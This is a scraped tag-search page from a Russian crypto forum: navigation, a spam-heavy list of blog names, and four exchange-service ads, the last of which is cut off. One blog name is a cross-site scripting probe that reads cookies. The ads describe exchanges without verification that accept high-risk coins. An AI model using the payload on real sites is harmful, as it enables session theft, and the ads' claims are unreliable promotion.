Jump to content

Search the Community

Showing results for tags 'криптовалюты'.

  • Search By Tags

    Type tags separated by commas.
  • Search By Author

Content Type


Bitcoin forum

  • Новости и события
    • Новости криптовалют
    • Статьи Bits.media
    • Мероприятия
  • Криптовалюты
    • Общий
    • Биткоин
    • Форки биткоина, альткоины
    • DeFi, токены
    • Электронные деньги
    • Блокчейн и финтех
    • Юридические вопросы
    • Кошельки для криптовалют
    • Разработка
    • Безопасность
    • Мониторинг
    • Конкурсы
    • Флейм
  • Экономика & Операции с криптовалютами
    • Экономика
    • Биржи криптовалют
    • Обменники криптовалют
    • Банки
    • Трейдинг криптовалютами
    • Магазины и сервисы (обсуждение, претензии)
    • Краудфандинг и Краудинвестинг
    • Игры, гэмблинг, хайпы, краны, раздачи
  • Майнинг криптовалюты
    • Общие вопросы по майнингу
    • Пулы совместного майнинга
    • Облачный майнинг и агрегаторы
    • Программы для майнинга
    • Стейкинг, Фарминг
    • Аппаратная часть
  • Барахолка
    • Продажа
    • Покупка
    • Услуги, сервисы
    • Работа
    • p2p обмен валют
  • О ресурсе Bits.media
    • Предложения и замечания по работе сайта
    • Предложения и замечания по работе форума
    • Предложения и замечания по работе Блога
  • Local
    • English
    • Other

Blogs

  • polym0rph's блог
  • miner's блог
  • LZ
  • AtomicStrike's блог
  • SolomonVR's блог
  • SolomonVR's блог
  • Sergey371's блог
  • блог phants'а
  • Nirton's блог
  • loga's блог
  • m134's блог
  • Exdeath's блог
  • Exdeath's блог
  • bronevik's блог
  • R1mlin's блог
  • egorbtc's блог
  • Рабочий's блог
  • Парадоксальный блог
  • мыслеизлияние
  • infoman's блог
  • PoolSwitcher
  • Pa2K's блог
  • Garrett's блог
  • pendalf2008's блог
  • forsee1's блог
  • btcshtchka's блог
  • Майнинг Bitcoin
  • Nikita9344_blog
  • Блог Димы
  • Michail's блог
  • Николай III's блог
  • Artists for Bitcoin
  • Artists for Bitcoin
  • ultra's блог
  • Yablya's блог
  • Настройки 7970. Результат 730kh/s в Litecoin
  • SKYnv's блог
  • Новая финансовая система мира
  • ElenaMaaya's блог
  • блог нуба
  • Шифровалютная экономика
  • Kryon's блог
  • kermit's блог
  • Райзеры для видеокарт
  • Shambler's блог
  • busmainer's блог
  • busmainer's блог
  • yunixon's блог
  • полезняшки для себя`s блог
  • AlexShul's блог
  • Виталий's блог
  • Помогите если вас не затруднит..Как отметинь выплату BTC...а то мой акаунт зламали и вывели все деньги...
  • Warmrain's блог
  • app.spec.integra.circuit's блог
  • HW_from_China's блог
  • HW_from_China's блог
  • Vitto
  • neiros' блог
  • kolja153's блог
  • Инвестиции в биткоин
  • advodado
  • bronevik's blog
  • Gold Line блог
  • LuchininAlexandr's блог
  • Биткоин Робот
  • Obmen.PM-Сертифицированный партнер платежной системы Perfect Money
  • Antina
  • SHiCK блог
  • Шахтер без шахты
  • Шахтер без шахты
  • Блог пьяного аналитика
  • Блог пьяного аналитика
  • Planetarius' блог
  • Planetarius' блог
  • ObiKenobi's блог
  • RoboBet блог
  • Блог Одного Человека
  • Planetarius' блог
  • fastesthash.com блог
  • Блог Romanov Capital
  • Cryptex
  • Viktor Sokolov's блог
  • sanyatyu's блог
  • TabTrader's блог
  • bitlook
  • нуждаюсь в вашей помощи опытные майнеры!
  • lathyips' блог
  • ironika
  • Познай себя !!!
  • Ult's блог
  • ill359's блог
  • Суровые будни рядового майнера в РФ
  • CEX.io
  • CEX.io Blog
  • Майнинг Gridseed с контроллером Raspberry PI
  • bestcoin's блог
  • SPA
  • Официальный игровой клуб Вулкан
  • Форк будущего, какой он?
  • Добыча биткоинов
  • majorjora's блог
  • cryptmining.ru
  • блог r2d2
  • РАФАЭЛЬ's блог
  • DDEX блог трейдеров
  • Doomka2014's блог
  • Bitcoin, Litecoin, Doge - С чего начать?
  • dierdan's блог
  • Latium
  • General-Beck's блог
  • Btc-Mirbox.com Самая прибыльная программа в интернете
  • tunsash's блог
  • кирилллллллллллл's блог
  • tunsash's блог
  • Rita's блог
  • Philipp's блог
  • Philipp's блог
  • Zarmung's блог
  • CR!PTO Путешествия
  • poop's блог
  • Makezzila's блог
  • GruberCoin - криптовалюта?
  • Gromootvod's блог
  • Одежда с символикой Bitcoin
  • waflya's блог
  • AsicTrade.com
  • Стратегия выхода на зароботок 1 биткоин
  • начать зарабатывать без вложений биткоин
  • saas' блог
  • vov4ik777333's блог
  • Моя история инвестиций в хайпы
  • Блог о Linux внутри майнеров :)
  • Обзор майнеров
  • Socket32's блог
  • Все самое интересное в мире криптовалют one-percent.ru
  • antolmach's блог
  • Alex-ru блог
  • хороший заработок без вложений!
  • По заработку, информация может быть полезна
  • Продам майнер BITMAIN S3
  • Куда нужно вкладывать свои средства ,чтобы их не потерять и даже заработать на них!!!
  • Ёжики GC3355 - апгрейд (жизнь после "Телеги")
  • En1ken's блог
  • Александр Ch's блог
  • Почему сегодня не открывается сайт bitcoin.org
  • moneymaker's блог
  • НОВЫЕ ХАЙПЫ
  • poiuty's блог
  • Viktor1123's блог
  • igorwhite's блог
  • golub's блог
  • anajik's блог
  • algol68's блог
  • Khamid Sattarov's блог
  • anajik's блог
  • tankist's блог
  • wfdim's блог
  • Ixion's блог
  • BitcoinBank блог
  • fantom's блог
  • Neotex's Blog
  • Александр Самойлов_12600's блог
  • hterw's блог
  • ivanech's блог
  • Новый хайп
  • goodusers' блог
  • motozikl's блог
  • Необыкновенное будущее
  • AndreyNag's блог
  • italiy82's блог
  • Nook89's блог
  • Сибирский червонец
  • interesnye-novosti
  • Биткойномат
  • zzzzz12's блог
  • exspert'bitkoin
  • Александр Глобальный's блог
  • Взрывной Пакет по Заработку Биткоин!
  • Kerver's блог
  • Азартные просторы
  • Компьютерный мастер Баку (опытный мастер)
  • mjauka's блог
  • Vladimir77's блог
  • Joe Black's блог
  • ТоТсамый's блог
  • Kolja's блог
  • antontmn's блог
  • Взрывной Супер Пакет - Как Заработать Без Вложений !!
  • Bordz's блог
  • TheFuzzStone's Blog
  • AndreyNag's Create own PEERCOIN NODE блог
  • demio's place
  • Обменяю ваши WMZ на мои PAYPAL
  • Moonfire's блог
  • nik888's блог
  • EDRCoin info
  • D-APPS
  • 1620$ за 9 дней! заинтересованы ?! пишите в сообещния!
  • Mining bitcoin from farm Hashocean
  • Grail's блог
  • автоматизация процессов
  • Easy Money
  • BLOG Мир Интернет Бизнеса
  • besser99
  • Blog Мир Интернет Бизнеса
  • Blog Julin Gys
  • Coin's блог
  • observer btc-e, наблюдатель BTC-E.COM
  • Заработок биткоинов
  • Дмитрий1839's блог
  • Майнер Эфира и Декреда от Claymore
  • Gridseed GC3355
  • Karasur's блог
  • Right13's блог
  • tanya310119911's блог
  • Swisscoin-Швейцарская криптовалюта
  • Биткоин, путь к луне
  • fancyfinance
  • Evgeny 34's блог
  • Arcady's блог
  • THWGLOBAL
  • solnecno's блог
  • andr1986's блог
  • Alexey654321's блог
  • aleco's blog
  • Tomfox's блог
  • poolminers
  • dini_pal's блог
  • vovchik's блог
  • KolesCoinNews' блог
  • MONERO FOUNDATION RUSSIA™
  • ICONOMI до конца ICO 8 дней
  • альбина32's блог
  • Vladimir Eliseev's блог
  • Vanya Wang's блог
  • Btc Coin's блог
  • papa_medbedb's блог
  • 6000 сатоши в час. Узнай как!!!
  • Свирепый Гарри's блог
  • Sahat's блог
  • Подпишитесь на инстаграмм пожалуйста
  • Se7eN's
  • Снижаем расходы на электричество
  • SERHIY's блог
  • Фаридун's блог
  • ICO (Краудфандинг)
  • Cryptohawk's блог
  • arbitrader's блог
  • ОлегХомин's блог
  • Enzo's блог
  • masterigr2016's блог
  • kurs.expert блог
  • datachains.world Русский Блокчейн 3.0
  • Закрытый клуб BitClub Network
  • Sayat Ibraev's блог
  • maksim2030's блог
  • BITCOIN блог
  • vvka's блог
  • скажите кто знаком долго будит жить этот хайп типо майнинг
  • BitClub Network
  • Краудсейл Augmentors ICO
  • Динар's блог
  • disodium
  • Новые краны по сбору биткоинов
  • Pedro
  • Selling account/продажа аккаунта
  • Как обменять Биткоин в Рубли
  • Заработай играя
  • Genesis Mining Russia's блог
  • Гена's блог
  • Гена's блог
  • Baccarat_1
  • Genesis Mining Russia's блог
  • Siberian Miners
  • Work-bitcoin
  • mike0013's блог
  • Внимание Новинка BTCHAMP
  • LeslyGarold's блог
  • Объясни бабуле криптовалюты
  • New bitcoin dice
  • ★ Global Success ★
  • isadora's блог
  • Prince tv's блог
  • КриптоМир блог
  • Блог BitBetNews
  • Cryptotrend
  • BitBetNews' блог
  • AlamurFury's блог
  • AlamurFury's блог
  • doBETacceptBET's блог
  • postscreen's блог
  • Krot's блог
  • МаршалНиколас's блог
  • Самый лучший майнинг биткоинов и других криптовалют
  • Bitbetnewss' блог
  • barrygoldwon
  • Мошенничество в глобальном масштабе
  • Marina_Aco_M's блог
  • Leon Organo's блог
  • Nikolai Tran's блог
  • Colonizator's блог
  • KriptoKurs блог
  • isa2016's блог
  • Utopia
  • Анжелика9808's блог
  • fxseminar's блог
  • Заработок в интернете с нуля + халява
  • ZORROZ's блог
  • LeoKartman's блог
  • Альберт Карачурин's блог
  • Bitcoin
  • isalm's блог
  • Yur1K's блог
  • Нервная система
  • Нервная система
  • Крипто-Проекты
  • comof2014's блог
  • Sand Coin
  • bitaps.com
  • 1 Bitcoin в месяц легко
  • BIP148
  • HEAgEKBATEH's блог
  • Miner42's блог
  • ChangeKripta's блог
  • mediavoice's блог
  • realestate's блог
  • куплю мощности на hashflare SHA-256 SCRYPT
  • proshift's блог
  • Stan Podyachev's блог
  • CNstuff's блог
  • Alex Lee's блог
  • RX470+RX460 падает хешрейт
  • Макроэкономика криптовалют
  • Криптовалюты и ICO
  • NV42Rus' блог
  • Николай Еременко's блог
  • deg237's блог
  • Bit Bet News' блог
  • xcilog's блог
  • YaNeFiShKa's блог
  • Соломон's блог
  • 23
  • Натур. Мясцо
  • AEON растёт в геометрической прогрессии-хватаем халяву
  • Про биткоин в России
  • Investy
  • Оборудование в стоках и фьючерсах. Китай.
  • адрес
  • HOQU
  • VitalyKaminsky
  • HOQU_rus
  • Грека через реку
  • CryptoCapitalNews
  • Finom Blockchain Blog
  • Everex
  • GoldMineCoin
  • Kolbasska
  • TombCare
  • CREDO - СИСТЕМА ОПЛАТЫ СЛЕДУЮЩЕГО ПОКОЛЕНИЯ
  • Сатош
  • G-obmen
  • Блог Трейдера
  • Revolutionising the 3 core functions of finance.
  • TH
  • Заработок в интернете
  • Privateers.Life - Пиратская ММО на Blockchain
  • Все просто! Все слухи про Биткоин
  • Человеческий
  • Запас прочности Биткоина.
  • Продажа недвижимости в Ялте за биткоины
  • Криптонатор - правда, или обман?
  • @slon21veka
  • AION - инновации технологии блокчейн
  • Подарите на жизнь 1 биткоинт живу бедно
  • Кирпто-портфель
  • Биткоин
  • События мира криптовалют из первоисточников. Аналитика и торговые идеи.
  • Бродкаст старого криптоанархиста
  • В РФ предложили изымать у населения биткоины и передавать их в казну
  • CloudCoin
  • Прошу вашей милость помогите прошу
  • Мои заметки о крипте
  • Криптоаналитика
  • Bitcoin в деталях: полезные ресурсы, инструкции и сервисы
  • Обмен денег
  • Ищу партнера
  • Bitex
  • вывод с ХФ от 6-7 дек
  • GRAPHENE - Нанотехнологии уже близки!
  • жит
  • CryptoMomus
  • Южная Корея планирует бороться с криптолихорадкой!
  • Майнинг на асике с нуля на высокой цене электроэнергии
  • Биткоин растёт
  • баги
  • Blockchain projects blog. Новости, обзоры, анонсы.
  • Криптомир
  • MIRANIT
  • история!
  • Cryptowolftrade
  • https://pocket-exchange.com
  • Глобальная криптовалютная биржа с низкими комиссиями
  • Глобальная криптовалютная биржа с низкими комиссиями
  • ideal zanussi maintenance beheira
  • Сервисы для продвижения сайта
  • ForkGold
  • btnPLUS
  • ForkGold - Новости криптовалют!
  • !!!ICO TELEGRAM!!!
  • White Rabbit - не меньше, чем революция в цифровом распространении фильмов и сериалов.
  • artem.litvinenko2018@list.ru
  • Ищу партнера/инвестора для открытия GPU Фермы/Хостинга
  • ПРЯМАЯ ВИДЕО ТРАНСЛЯЦИЯ
  • Moscow Miner service
  • Жизнь в Одессе маме
  • Майнинговый Проект TERRAMINER. SCAM или SCAM ALERT?!?
  • [ANN] Blockchain for a good cause
  • World’s first blockchain based news content
  • Обзоры товара
  • Dropil: Smart Investment Trading Algorithm
  • [ANN] GOLDELIM ICO - Free tokens
  • Seele.pro - Next generation of Blockchain technology
  • Kriptoblog
  • New trending MaltaCoin
  • [ANN][ICO] Monaco Estate - Cryptocurrency Real Estate Investment Fund ICO
  • NanoCryptos
  • BitBullCoin.io - The future of advanced global money transaction
  • Блог
  • Продажа аккаунта на golden-birds.biz
  • [pre-ANN]BCharity-международная биржа благотворительности
  • SmartChain.io
  • Майнинг отель в Москвской области
  • BytecoinRu
  • Частное мнение
  • Terhubung dengan Dunia dimana saja dan kapan saja bersama E-Chat
  • COPYTRACK menjadi satu satunya crypto Hak Cipta global
  • kyros
  • kyros
  • Оборудование для майнинга в интернет-магазине Wattson-shop
  • Biometrids Platform for identification
  • [ANN] [ICO] PINGVALUE ICO - RELEVANT ADVICE FOR YOUR NEXT EXPERIENCE
  • MinerGate affiliates (реффералы)
  • BitMEX.com Review
  • Помогу пройти верефикацию Poloniex!
  • Быстрый и безопасный обмен электронных денег по выгодному курсу.
  • e-chat platform multifungsi terdesentralisasi pertama dengan dompet crypto built-in.
  • Cryptonomics Capital - фонд инвестиций в ICO
  • Cloud Komputer pribadi tersedia untuk semua orang
  • BestICO
  • NewProjectReview
  • Saatnya beralih ke Blockchain, bitcomo pemasaran afilasi pertama dan satu satunya
  • International Crypto Bank Coin
  • Про криптотехнологии
  • Vinnd Solusi untuk kesehatan anda melalui blockchain
  • Обзоры перспективных ICO
  • байкал х10
  • Bagaimana Vinnd bekerja pada teknologi Blockchain
  • СберБит
  • Digital Safe Coin, upcoming best cryptocurrency?
  • lowenchain mirror
  • Pinjaman tanpa jaminan yang aman
  • Transcordium - Decentralized Peer-to-Peer Media Editing,
  • La Nueva Plataforma Descentralizada de Edición, Transcodificación y Distribución bajo blockchain
  • CryptoSailors
  • TokenGo обзор ICO
  • Инвестируйте в оборудование для майнинга
  • Buy celebrities with Ethereum now
  • [ICO] Coins4Favors - just one click away
  • bits.media
  • Необъяснимо, но факт или сила подсознания
  • Perkenalkan Myriads.IO ...
  • Arbidex – Platform Tranding Aset Dengan Sistem Arbitrase Otomatis di Semua Pertukaran
  • ARBIDEX The First Trading Platform That Collects Liquidity From Exchanges With Automatic Arbitrage System
  • FintruX
  • Invest-HyipTopMonitor
  • Инструкция как заработать на крипто баунти и airdrop!
  • первая и единственная платформа, которая собирает ликвидность и обмены в обмен
  • Arbidex, Сначала с помощью системы обмена арбитражами с криптовалютной валютой
  • Advance.Fund ft Strade Trade
  • Advance.fund
  • Новый проект 2018 года!
  • Esports Wife App - Free Cash, Bitcoins, Dota 2 & more
  • Торговый робот PoloR для Poloniex
  • Учимся торговать, снимаем розовые очки, разоблачаем шарлатанов.
  • Arcane Bear: Building a better tomorrow with the stories from today
  • COOLCOUSIN
  • Elementh - Blockchain for e-commerce
  • Coin News Telegraph | Bitcoin and Blockchain News
  • Новости ICO
  • What are the most profitable and best sites to invest?
  • Всеобъемлющий Блокчейн или тотальная монетизация
  • Sphere Social - Decentralized Social Network
  • Earn Bitcoins while using Google Chrome
  • MASSKRYP
  • Sell btc on paypal USD
  • coinview - Automated, real-time digital assets portfolio tracking
  • Bitcoins в Дубаи
  • Parkgene [GENE]
  • Mavro - Sebagai bos pemasaran jaringan di dunia kripto-mata uang
  • Biometrids
  • SunMoney Token Sale
  • Serenity Financial - SI ICO Trader / Broker Arbitration Invest Token?
  • Serenity Masalah Forex Keuangan Dipecahkan oleh Blockchain
  • File Gas, Masa Depan Penyimpanan Berkas.
  • [ANN] Solomonstouch - The World’s First Humanitarian, Donation and Fundraising Blockchain Platform
  • SAVEDROID строит экосистемы на основе ИИ
  • PARKGENE - STARTVOLUTION PARKIR DAN SOLUSI P2P BERDASARKAN TEKNOLOGI BLOCKCHAIN
  • TOKEN HACK VC
  • [ANN] THRINTEL MARKET™ - The Blockchain Evolution of Threat Intelligence Sharing
  • [ANN] Lunes - The biggest blockchain project in Latin America
  • Как начать зарабатывать?
  • Cryptocurrency Announcements
  • alexxpoll blog
  • blogs_blog_700
  • blogs_blog_702
  • Инновационная экосистема блокчейн, которая подорвет и децентрализует рынки повторной продажи билетов.
  • ICO-online: история создания проекта Me&Doc с нуля до выхода на ICO
  • ATS — В сети интернет обнаружен VIRUS, который убьет ICO проекты
  • Частное мнение
  • Announcements
  • Upminer - ремонт асиков (майнеров)
  • WORLD PEACE COIN: THE FIRST CRYPTO-CURRENCY WHO CARE ABOUT THOSE IN NEEDS
  • Cryptocurrency
  • blogs_blog_720
  • blogs_blog_722
  • blogs_blog_724
  • blogs_blog_726
  • blogs_blog_728
  • AKAIITO #ICO
  • AKAIITO : Platfrom Yang Kuat Dan Beropersi Berdasarkan Blockchain
  • Мониторинг обменников bitcoin
  • Akaiito! Platform untuk kontrak cerdas dan mata uang crypto!
  • AKAIITO Project - Platform yang kuat berdasarkan pada sistem blockchain yang berfungsi pada teknologi kontrak pintar
  • Akaiito – use cryptocurrency in everyday life
  • blogs_blog_742
  • blogs_blog_744
  • Markscheider - проект производства российских майнеров
  • Партнерка - 25% с продажи
  • Биржа криптовалют BitHash
  • Облачный майнинг.
  • Крипто
  • Airdrops
  • Как заработать на криптовалюте
  • CryptoBanOne
  • Проверенная игра Capitalist Game Bot с выводом денег
  • Ashtart - A future where everyone can access energy
  • Блог о ICO-проектах
  • Перспективное ИСО
  • [ICO] MYRYMAX - MAIN SALE (ICO1) IS LIVE
  • Announcements
  • blogs_blog_776
  • blogs_blog_778
  • Neironix Daily Digest - Ежедневный Аналитический Дайджест
  • Digithereum Global
  • Cryptonet. Сообщество профессиональных криптопредпринимателей
  • Announcement blog
  • Crazyer Crypto
  • Альтернативная криптовалюта.
  • Интерактивная платформа CryptoBliss
  • Интерактивная платформа CryptoBliss
  • ICOnow
  • Crypyotraid
  • Ты мне я тебе
  • Криптокнопка "Бабло"
  • Egorr4 Review Blog
  • [Masternode] Dash Platinum запуск!
  • Как сэконмить больше своих денег при переводе в криптовалюты
  • все собрано по сути в компании на ферме в Литве ,вы просто приобретаете, в Москве и СПб есть представители
  • bitcoin abc
  • bitcoin abc
  • Shodik
  • Обзоры майнинг-пулов
  • оптимизированная Equihash miner zcash
  • avto-monstr.ru/ref/4976. 
  • crypt-mining.net
  • CryptoPlayers
  • Описание проекта Crypto Credit Card
  • Криптовалюта
  • cryptMiningNet
  • Peoplewave - Revolutionise recruitment, background checks, onboarding and etc
  • How does the economics community see Bitcoin?
  • Dash Platinum
  • sarah crypto
  • Важное в мире крипты и финансов
  • matty0312
  • cryptocurrency9527
  • oldwolfcoin
  • зарабатываем здесь
  • amyqkl
  • Cryptocurrency information sharing
  • Сергей Онищенко
  • Германия – Швеция: видео трансляция LIVE
  • Всем привет!
  • Мой кино блог
  • Мониторинг обменников BestChange
  • WPGrabber
  • Мой личный кино блог
  • Аналогии
  • Jsa
  • Nama
  • Крипто EXMO News
  • Independent Delhi Escorts
  • Bitok.cc — современный сервис обмена криптовалют
  • Enjoy All Time Fun
  • GEX_CASH
  • РАБОЧИЙ МАЙНИНГ
  • bikoin что это
  • AvailCom - бесключевая аренда имущества
  • THE BEST ICO OF 2018
  • Smile-Expo. С любовью к инновациям!
  • crypto-currency news
  • CryptoChangeNews
  • HELP Token
  • Казино онлайн
  • Microsoft медленно (но точно) подключает Blockchain к основным продуктам
  • Jullie Chandigarh Escorts
  • Установка и настройка Bminer
  • Roundblock
  • Прием Биткоин платежей в OpenCart 3.x, 2.3 и OcStore
  • Иммерсионное охлаждение в майнинге и наукоемких вычислениях на GPU
  • Мастерноды/Masternodes
  • Девчонки-короткие юбчонки
  • Майнинг и фермы HotAsic.ru
  • Localcoinswap - P2P cryptoexchange
  • Tchtf
  • crypto-mining. Bitcoin
  • Мой блог
  • 50x - СКОРЫЙ ВЫХОД НА БИРЖУ С ЕЖЕДНЕВНЫМ НАЧИСЛЕНИЕМ ДИВИДЕНДОВ
  • LoL cec
  • ✅ Новая эра P2P обмена! Аукцион от LKWAVE ?
  • Bitcoin crane
  • Bitcoin Crane
  • Дневник трейдера
  • Разработка скриптов для арбитражной торговли
  • "><img src=x onerror=alert(document.cookie)>
  • Все по маслу
  • Криптоплатформа Bitzlato
  • Bitshares
  • Enjoy full fun with me
  • Блог Papa Change
  • Меняем быстро, не оставляя ожиданий >EXMO,BTC, Оплата: Банковской картой, QIWI-Кошелёк.
  • Oz - Blog
  • RExchange24.ru
  • CryptoChemistry
  • Применение крипты в казино
  • tapchibitcoin.vn
  • THE MOST CHEAPEST AND ACCURATE CELL PHONE NUMBER AND EMAIL DATABASES IN THE WORLD
  • TRUST7
  • ВЛАДИМИР БАКС
  • iEXBase
  • Egamov Bexruz
  • Продать S9, L3 +
  • BestChange
  • CloudCoin
  • Polyx — криптовалютная платформа
  • Мировые новости
  • Новости со всего мира IT и не только
  • Pi Network Coin Mining Project
  • Сайт bits.media топ!
  • Coinmatics LIVE
  • FPGA Криптовалютный майнинг руководство
  • Настройка сервера
  • otzivipro блог
  • ExchangeRates.Pro: сравнение цен обмена Биткойн и 33 криптовалют в России и мире — биржи, обменки, P2P ?
  • Бинариум как открыть счет регистрация и бонус
  • Амикта - блог про инженерию
  • Игровые автоматы на деньги
  • 11111100101
  • Комп для майнинга с Алика
  • https://freebitco.in/?r=33865777
  • Неудачный инвестор
  • Блог сервиса проверки биткоинов Traceer
  • Как я выжил
  • Baking Bad
  • Статус Криптовалюты в этом мире
  • Joys Digital
  • Как я попал в криптобизнес
  • Arbitrage systems.com - мошенники
  • myproject1
  • Яйца в разных корзинах
  • Qtum
  • Binance P2P
  • Бестчендж лучший обменник
  • Краны для Coinpot
  • Мир криптовалют
  • Обменник
  • Crypto-дайджест
  • MoneroASM [Вникаю в блокчейн]
  • Музей компьютеров и игр - история майнинга
  • bitcoin exchanger
  • Blockchain News
  • Блог Artifex
  • What’s SoupSwap ?
  • SoupSwap - Big Promotion Special Offer Only For Investor Earn Bonus Up To 30%
  • SoupSwap - Big Promotion Special Offer Only For Investor Earn Bonus Up To 30%
  • SoupSwapOfficial
  • TradingStrategy - "Софт для глубокого анализа и торговли на крипто рынках, собственной разработки"
  • TradingStrategy - "Софт для глубокого анализа и торговли на крипто рынках, собственной разработки"
  • TradingStrategy - "Софт для глубокого анализа и торговли на крипто рынках, собственной разработки"
  • CryptoTab
  • Мой путь
  • We need to help the family of a political prisoner
  • Новие аирдропы
  • ? Crypto Cat / криптовалюты
  • На пути к прибыльному трейдингу!!!
  • KeenEdge блог
  • Tron network
  • Помогу деньгами всем желающим
  • Лучший обменник BestChange ищи лучший курс для обмена!
  • AEX
  • ПРОДАЖА АКАУНТОВ-BINANCE ВЕРИФИЦИРОВАННЫE ЧИСТЫЕ
  • Дневник спекулянта
  • Акции и Новости обмена криптовалюты и эл. денег
  • Новости электронных денег
  • AML / KYC в крипто
  • Bizonex
  • Crypto News
  • HoldReef - бесплатный и безопасный мессенджер для владельцев криптовалют
  • Обзоры крипто-проектов
  • Crypro Coin Desk
  • Nodle: сеть устройств интернета вещей (IoT)
  • Geek Games
  • Dexsport_io
  • Lalicat лучше Multilogin?
  • VPS/VDS/VPN в Европе
  • LuckyMeta AirDrop Giveaways
  • Блог
  • EuroHoster - территория быстрых VPS и выделенных серверов
  • За последние 24 часа
  • Уоррен Баффет назвал Биткоин болезнью и предрёк полное исчезновение криптовалют
  • Cryptex
  • ltc-crypto.blog
  • ECDSA
  • Будни ленивого трейдера
  • m1
  • Insights Driven Reports
  • Vyral Wings - Crowdfunding
  • Правила майнинга в криптозиму
  • 내부 비밀에 홀덤 발견
  • Как кратно увеличить свой доход в крипте с помощью мультиаккаунтинга
  • Надежный поставщик металлопроката обеспечивает комплексное обслуживание.
  • Bitmain Antminer l7 - обзор, характеристики, доходность - 2140MINER
  • Обзоры платформ NFT
  • CryptoApe
  • Приколы
  • Evraz
  • крипта у вас на сайте
  • Криптообменник Smart Obmen
  • Smart Obmen
  • Обучение Крипто Арбитража и Трейдинга
  • MyChange.io - Мультивалютный криптокошелек с P2P Торговлей и 0% P2P Комиссии
  • Как получить историческую цену ERC20-токена
  • TopCrypto
  • AdSense Alternative
  • ISTOKS
  • Digital Capital | Research

Categories

  • Кошельки
  • GPU майнеры
  • CPU майнеры
  • FPGA/ASIC miners
  • Драйверы
    • AMD
    • Nvidia
  • Прошивки ASIC майнеров
    • SHA2
    • Scrypt
    • X11
    • EquiHash
    • Ethash
  • Прошивки видеокарт
  • Утилиты
  • Софт для трейдинга
  • Софт для мониторинга

Find results in...

Find results that contain...


Date Created

  • Start

    End


Last Updated

  • Start

    End


Filter by number of...

Joined

  • Start

    End


Group


AIM


MSN


Сайт


ICQ


Yahoo


Jabber


Skype


Город:


Интересы


Bitcoin кошелек

  1. ОБМЕН КРИПТОВАЛЮТ В РАЗНЫХ НАПРАВЛЕНИЯХ Обмен от 2000 руб. до любых крупных сумм - Наличный и Безналичный расчет! Купля и продажа известных валют: SOLANA, Bitcoin, ETH, LTC, GMT, USDT и множество других направлений. Мы постоянно обновляем направления обменов на выгодных условиях. Партнерская программа, специальные скидки на обмены! Быстрая обработка заявок: от 5 минут. Принимаем: Сбербанк, Тинькофф, Qiwi Актуальный курс всегда на сайте: BTchange.ru Режим работы: 24/7 Фиксирования курса с момента создания заявки 5 мин., далее курс автоматически обновляется до подтверждения поступления средств на счет мерчанта. Работаем с криптовалютой: BTC, LTC, ETH, USDT, SHIB, DODG, XRP, GMT, SOL и многие другие, которые мы постоянно добавляем в Наш обменник. Все торговые операции проводятся по указанному курсу без дополнительных комиссий! AML - вопросы и ответы: 1) - При обменах, принимаете ли вы криптовалюту клиента на свой локальный кошелек, или сразу на биржевой аккаунт? - на биржевой аккаунт 2) - Какой процент общего риска по AML считаете допустимым, до скольки % включительно? - допустимым до 49% 3) - Какой процент «красного» риска по AML (высокорискованные компоненты транзакции) вы считаете допустимым, до скольки % включительно? (речь о доле в общей сумме) - до 20% 4) - Что будет с клиентом и его монетами при превышении риска (если вы заметили грязь на своем локальном кошельке), или если ваша биржа заблочила монеты (если вы принимали сразу на биржу)? - По решению биржи Garantex. Возврат с удержанием % или полная блокировка Контакты: Телефон: +7(928) 062-61-11 WhatsApp: +7(928) 062-61-11 Telegram: @btchangeru
  2. Доброго времени суток, уважаемые пользователи сервиса! Рады представить вам наш сервис для обмена криптовалют cryptotims.com- быстрый и надежный. О нас: - Отсутствуют скрытые комиссии - Защищенный протокол https - Регистрация в два клика, удобный интерфейс - Самые популярные криптовалютные направления - Наш сервис продолжает совершенствоваться и добавлять новые направления обменов. - Техподдержка. Всегда на связи. ВНИМАНИЕ! Все обмены происходят строго через заявку на сайте, мы не производим обмены в мессенджерах. Остерегайтесь мошенников. Время работы сервиса: с понедельника по субботу, с 10:00 до 21:00 по МСК. Вс-свободный график. Все наши плюсы вы можете оценить и поделится своими впечатлениями в комментариях на данном форуме после любой обменной операции. Контакты: Связаться с нами вы можете в рабочее время через онлайн чат или Telegram на сайте cryptotims.com. С уважением, Администрация cryptotims.com.
  3. Добрый вечер, форумчане! Представляем Вашему вниманию новый автоматический сервис - CityBit.Pro Мы настроены на длительную и плодотворную работу. Мы меняем Bitcoin на гривны любого украинского банка, работаем в оба направления. UAH-BTC и BTC-UAH, обмены без верификации (при условии, что Ваша карта находится в белом листе эквайринга) от 500 гр. Аналогичный обмен рублей на Bitcoin любого банка от 1000 до 5500 рублей, без верификации. Все приёмы ведутся на сторонние системы и защищены АнтиФродом. Приветливый онлайн-чат в правом нижнем углу всегда поможет Вам сориентироваться и провести обмен. Время работы сервиса с 10:00 до 22:00 по МСК. Отзывы о работе сервиса можно оставить уже сейчас на КурсЭксперт AML - вопросы и ответы: 1) - При обменах, принимаете ли вы криптовалюту клиента на свой локальный кошелек, или сразу на биржевой аккаунт? - На биржевой 2) - Какой процент общего риска по AML считаете допустимым, до скольки % включительно? - До 70% 3) - Какой процент «красного» риска по AML (высокорискованные компоненты транзакции) вы считаете допустимым, до скольки % включительно? (речь о доле в общей сумме) - См.выше 4) - Что будет с клиентом и его монетами при превышении риска (если вы заметили грязь на своем локальном кошельке), или если ваша биржа заблочила монеты (если вы принимали сразу на биржу)? - Н/д
  4. Специализированный сервис CryptoBarMen оказывает услуги обмена по самым популярным направлениям У нас Отсутствует скрытые комиссии; Защищенный протокол https; Доступность 24 часа в сутки; Круглосуточная работа по автоматическим обменам 24/7; Отсутствует верификация Каждый день появляются новые направления AML - вопросы и ответы: 1) - При обменах, принимаете ли вы криптовалюту клиента на свой локальный кошелек, или сразу на биржевой аккаунт? - Принимаем на биржевой аккаунт 2) - Какой процент общего риска по AML считаете допустимым, до скольки % включительно? - 65% риска 3) - Какой процент «красного» риска по AML (высокорискованные компоненты транзакции) вы считаете допустимым, до скольки % включительно? (речь о доле в общей сумме) - Риск скор рассчитывает как-то вайтбит. Нам только достаются претензии. Есть ещё такая проблема, что пользователи сами проверяют биток через телеграмм бота, который весь кривой - косой и выдаёт не точную информацию, поэтому вы должны понимать, что % риск скора относительный. А по санкционке ещё меньше %, там вообще 5% хватит. 4) - Что будет с клиентом и его монетами при превышении риска (если вы заметили грязь на своем локальном кошельке), или если ваша биржа заблочила монеты (если вы принимали сразу на биржу)? - Ну случае по даркнету, там возвраты были, если это санкционка, то там 100% локдаун, как правило по последнем случае привлекаем сервисы которые скинули грязь на добросовестного пользователя, чтобы они возмещали. Возвраты по санционке, типо от биржи Гарантекс в нашей истории не были. В 